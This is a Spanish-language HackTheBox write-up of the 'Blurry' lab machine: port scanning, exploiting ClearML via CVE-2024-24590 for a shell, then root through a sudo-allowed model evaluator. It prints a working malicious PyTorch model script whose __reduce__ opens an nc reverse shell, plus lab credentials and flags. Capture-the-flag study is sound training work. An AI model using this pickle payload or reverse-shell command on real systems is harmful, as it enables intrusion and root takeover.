Blurry es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Blurry 10.10.11.19 a /etc/hosts como blurry.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 |
$ nmap -sS -p- --open --min-rate 5000 -n -vvv -oA enumeration/nmap1 10.10.11.19 Nmap scan report for 10.10.11.19 Host is up, received reset ttl 63 (0.060s latency). Scanned at 2024-06-22 11:39:59 CEST for 12s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Sat Jun 22 11:40:12 2024 -- 1 IP address (1 host up) scanned in 13.12 seconds |
Detectados los puertos abiertos analizamos los mismo más detenidamente
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ nmap -sCV -p 22,80 -oA enumeration/nmap2 10.10.11.19 Nmap scan report for 10.10.11.19 Host is up (0.053s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA) | 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA) |_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519) 80/tcp open http nginx 1.18.0 |_http-title: Did not follow redirect to http://app.blurry.htb/ |_http-server-header: nginx/1.18.0 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Jun 22 11:40:28 2024 -- 1 IP address (1 host up) scanned in 9.12 seconds |
Enumeración
Accedemos al portal web del puerto 80 y nos redirecciona al host app.blurry.htb así que lo añadimos a nuestro fichero hosts y vemos la siguiente web

En la página anterior nos solicita un nombre, así que lo añadimos y accedemos al dashboard de la aplicación

Se trata de ClearML, una app open source de inteligencia artificial, buscamos en google al respecto y encontramos una página donde aparece un listado de vulnerabilidades
nos centraremos en CVE-2024-24590 para la cual encontramos un exploit y el procedimiento para llevarlo a cabo
Así que nos vamos a uno de los proyectos existentes y creamos un experimento nuevo, el cual nos dará unas credenciales

Junto con las credenciales vemos 3 subdominios que añadiremos al fichero hosts.
Una vez lo tenemos, necesitamos inicializar la librería en local, así que instalamos en primer lugar clearml
|
1 |
$ pip install clearml |
e inicializamos el mismo con las credenciales obtenidas
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
$ clearml-init ClearML SDK setup process Please create new clearml credentials through the settings page in your `clearml-server` web app (e.g. http://localhost:8080//settings/workspace-configuration) Or create a free account at https://app.clear.ml/settings/workspace-configuration In settings page, press "Create new credentials", then press "Copy to clipboard". Paste copied configuration here: api { web_server: http://app.blurry.htb api_server: http://api.blurry.htb files_server: http://files.blurry.htb credentials { "access_key" = "YQHV92PVLUV9IIOVLNJE" "secret_key" = "djkiAEXBzmL5s8X60lmaZ4rawEfwXbtSXRDeQdqQQJb5YPj3lb" } } Detected credentials key="YQHV92PVLUV9IIOVLNJE" secret="djki***" ClearML Hosts configuration: Web App: http://app.blurry.htb API: http://api.blurry.htb File Store: http://files.blurry.htb Verifying credentials ... Credentials verified! New configuration stored in /home/asdf/clearml.conf ClearML setup completed successfully. |
posteriormente ejecutaremos el exploit
|
1 2 3 4 5 |
$ python3 CVE-2024-24590.py ClearML Task: created new task id=580026570e1947ccbbec2fa234c1a608 2024-06-22 12:14:21,926 - clearml.Task - INFO - No repository found, storing script code instead ClearML results page: http://app.blurry.htb/projects/116c40b9b53743689239b6b460efd7be/experiments/580026570e1947ccbbec2fa234c1a608/output/log ClearML Monitor: GPU monitoring failed getting GPU reading, switching off GPU monitoring |
y tendremos una shell con el usuario jippity
|
1 2 3 4 5 6 7 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.5] from (UNKNOWN) [10.10.11.19] 49174 sh: 0: can't access tty; job control turned off $ id uid=1000(jippity) gid=1000(jippity) groups=1000(jippity) $ |
Obteniendo la flag de user
Estando dentro de la máquina, vamos a la home del usuario y cogemos la primera flag
|
1 2 3 4 5 6 7 8 9 10 |
$ pwd /home/jippity $ ls -l total 20 drwxr-xr-x 2 jippity jippity 4096 Feb 17 12:46 automation -rw-r--r-- 1 jippity jippity 11007 Feb 17 11:07 clearml.conf -rw-r----- 1 root jippity 33 Jun 22 05:37 user.txt $ cat user.txt 2e42f9b282fd450ccebbb6b500e6196a $ |
Escalado de privilegios
Revisamos los permisos del usuario y vemos que el usuario puede ejecutar un binario como root
|
1 2 3 4 5 6 7 8 9 |
$ python3 -c 'import pty;pty.spawn("/bin/bash");' jippity@blurry:~$ sudo -l sudo -l Matching Defaults entries for jippity on blurry: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User jippity may run the following commands on blurry: (root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth |
para el cual revisamos tanto el tipo de fichero como su contenido
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 |
jippity@blurry:~$ file /usr/bin/evaluate_model file /usr/bin/evaluate_model /usr/bin/evaluate_model: Bourne-Again shell script, ASCII text executable jippity@blurry:~$ ls -l /usr/bin/evaluate_model ls -l /usr/bin/evaluate_model -rwxr-xr-x 1 root root 1537 Feb 17 13:18 /usr/bin/evaluate_model jippity@blurry:~$ cat /usr/bin/evaluate_model cat /usr/bin/evaluate_model #!/bin/bash # Evaluate a given model against our proprietary dataset. # Security checks against model file included. if [ "$#" -ne 1 ]; then /usr/bin/echo "Usage: $0 <path_to_model.pth>" exit 1 fi MODEL_FILE="$1" TEMP_DIR="/models/temp" PYTHON_SCRIPT="/models/evaluate_model.py" /usr/bin/mkdir -p "$TEMP_DIR" file_type=$(/usr/bin/file --brief "$MODEL_FILE") # Extract based on file type if [[ "$file_type" == *"POSIX tar archive"* ]]; then # POSIX tar archive (older PyTorch format) /usr/bin/tar -xf "$MODEL_FILE" -C "$TEMP_DIR" elif [[ "$file_type" == *"Zip archive data"* ]]; then # Zip archive (newer PyTorch format) /usr/bin/unzip -q "$MODEL_FILE" -d "$TEMP_DIR" else /usr/bin/echo "[!] Unknown or unsupported file format for $MODEL_FILE" exit 2 fi /usr/bin/find "$TEMP_DIR" -type f \( -name "*.pkl" -o -name "pickle" \) -print0 | while IFS= read -r -d $'\0' extracted_pkl; do fickling_output=$(/usr/local/bin/fickling -s --json-output /dev/fd/1 "$extracted_pkl") if /usr/bin/echo "$fickling_output" | /usr/bin/jq -e 'select(.severity == "OVERTLY_MALICIOUS")' >/dev/null; then /usr/bin/echo "[!] Model $MODEL_FILE contains OVERTLY_MALICIOUS components and will be deleted." /bin/rm "$MODEL_FILE" break fi done /usr/bin/find "$TEMP_DIR" -type f -exec /bin/rm {} + /bin/rm -rf "$TEMP_DIR" if [ -f "$MODEL_FILE" ]; then /usr/bin/echo "[+] Model $MODEL_FILE is considered safe. Processing..." /usr/bin/python3 "$PYTHON_SCRIPT" "$MODEL_FILE" fi |
además de esto, el script ejecuta otro script en python que vemos a continuación
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 |
jippity@blurry:~$ cat /models/evaluate_model.py cat /models/evaluate_model.py import torch import torch.nn as nn from torchvision import transforms from torchvision.datasets import CIFAR10 from torch.utils.data import DataLoader, Subset import numpy as np import sys class CustomCNN(nn.Module): def __init__(self): super(CustomCNN, self).__init__() self.conv1 = nn.Conv2d(in_channels=3, out_channels=16, kernel_size=3, padding=1) self.conv2 = nn.Conv2d(in_channels=16, out_channels=32, kernel_size=3, padding=1) self.pool = nn.MaxPool2d(kernel_size=2, stride=2, padding=0) self.fc1 = nn.Linear(in_features=32 * 8 * 8, out_features=128) self.fc2 = nn.Linear(in_features=128, out_features=10) self.relu = nn.ReLU() def forward(self, x): x = self.pool(self.relu(self.conv1(x))) x = self.pool(self.relu(self.conv2(x))) x = x.view(-1, 32 * 8 * 8) x = self.relu(self.fc1(x)) x = self.fc2(x) return x def load_model(model_path): model = CustomCNN() state_dict = torch.load(model_path) model.load_state_dict(state_dict) model.eval() return model def prepare_dataloader(batch_size=32): transform = transforms.Compose([ transforms.RandomHorizontalFlip(), transforms.RandomCrop(32, padding=4), transforms.ToTensor(), transforms.Normalize(mean=[0.4914, 0.4822, 0.4465], std=[0.2023, 0.1994, 0.2010]), ]) dataset = CIFAR10(root='/root/datasets/', train=False, download=False, transform=transform) subset = Subset(dataset, indices=np.random.choice(len(dataset), 64, replace=False)) dataloader = DataLoader(subset, batch_size=batch_size, shuffle=False) return dataloader def evaluate_model(model, dataloader): correct = 0 total = 0 with torch.no_grad(): for images, labels in dataloader: outputs = model(images) _, predicted = torch.max(outputs.data, 1) total += labels.size(0) correct += (predicted == labels).sum().item() accuracy = 100 * correct / total print(f'[+] Accuracy of the model on the test dataset: {accuracy:.2f}%') def main(model_path): model = load_model(model_path) print("[+] Loaded Model.") dataloader = prepare_dataloader() print("[+] Dataloader ready. Evaluating model...") evaluate_model(model, dataloader) if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python script.py <path_to_model.pth>") else: model_path = sys.argv[1] # Path to the .pth file main(model_path) |
viendo los scripts, estos utilizan la librería torch para crear un modelo de datos, por lo que revisando la documentación de la librería vamos a crear un pequeño script que genere nuestro modelo y con ello una revshell
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
import torch import torch.nn as nn import os class MaliciousModel(nn.Module): # PyTorch's base class for all neural network modules def __init__(self): super(MaliciousModel, self).__init__() self.dense = nn.Linear(10, 1) # Define how the data flows through the model def forward(self, x): # Passes input through the linear layer. return self.dense(x) # Overridden __reduce__ Method def __reduce__(self): cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f" return os.system, (cmd,) # Create an instance of the model malicious_model = MaliciousModel() # Save the model using torch.save torch.save(malicious_model, '/models/exploit_model.pth') |
una vez lo tenemos, lo subimos a la máquina y ejecutamos
|
1 |
jippity@blurry:~$ python3 create_pth_model.py |
y revisamos que efectivamente ha creado el fichero pth
|
1 2 3 4 5 6 |
jippity@blurry:~$ ls -l /models/ total 1068 -rw-r--r-- 1 root root 1077880 May 30 04:39 demo_model.pth -rw-r--r-- 1 root root 2547 May 30 04:38 evaluate_model.py -rw-r--r-- 1 jippity jippity 952 Jun 22 06:32 exploit_model.pth drwxr-xr-x 4 jippity jippity 4096 Jun 22 06:28 smaller_cifar_net |
así que ejecutamos el script con sudo
|
1 2 |
jippity@blurry:~$ sudo /usr/bin/evaluate_model /models/exploit_model.pth [+] Model /models/exploit_model.pth is considered safe. Processing... |
y tendremos una shell como root
|
1 2 3 4 5 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.5] from (UNKNOWN) [10.10.11.19] 35070 # id uid=0(root) gid=0(root) groups=0(root) |
Obteniendo la flag de root
Como último paso cogemos la flag
|
1 2 3 |
# cat /root/root.txt 78fc297542dd57e7583e36658244c2a8 # |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










